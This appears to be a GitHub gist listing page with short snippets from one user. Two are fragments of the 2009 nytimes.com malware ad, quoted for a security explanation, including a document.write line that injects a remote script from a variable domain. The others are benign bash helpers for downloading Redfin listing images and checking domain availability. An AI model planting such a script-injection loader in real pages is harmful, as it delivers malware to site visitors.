Skip to content

Instantly share code, notes, and snippets.

// part of a security explanation - see
// http://www.nytimes.com/2009/09/13/business/media/13note.html and
// http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com
document.write(unescape("%3Cscript src='http://" + cur_domain + "/includes02.js' type='text/javascript'%3E%3C/script%3E"));
<!-- part of a security explanation - see
http://www.nytimes.com/2009/09/13/business/media/13note.html and
http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com -->
<html><body style="margin:0; padding:0;">
<script type="text/javascript">
var rightNow = new Date();
var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0);
var temp = date1.toGMTString();
@troy
troy / save-redfin-listing-images-bashrc
Created September 10, 2009 13:22
Given a redfin.com house listing URL, save all full-size images
# usage: redfin-images "http://www.redfin.com/WA/Seattle/123-Home-Row-12345/home/1234567"
function redfin-images() {
wget -O - $1 | grep "full:" | awk -F \" '{print $4}' | xargs wget -
}
@troy
troy / bash_fast_whois_checker_function.sh
Created March 21, 2009 19:43
.bashrc 1-character whois. Bash function to check domain name availability; type one character, get one character.
d () {
# see http://troy.yort.com/short-fast-micro-whois
result=`dig -t NS "$1" | grep -c "ANSWER SECTION"`
if [ "$result" = "0" ]; then
# some registered domains have no NS resource record in root servers; may
# be false negative, so confirm with whois
result=`whois -n "$1" | grep -c "Registrar: "`
fi
echo $result
return $result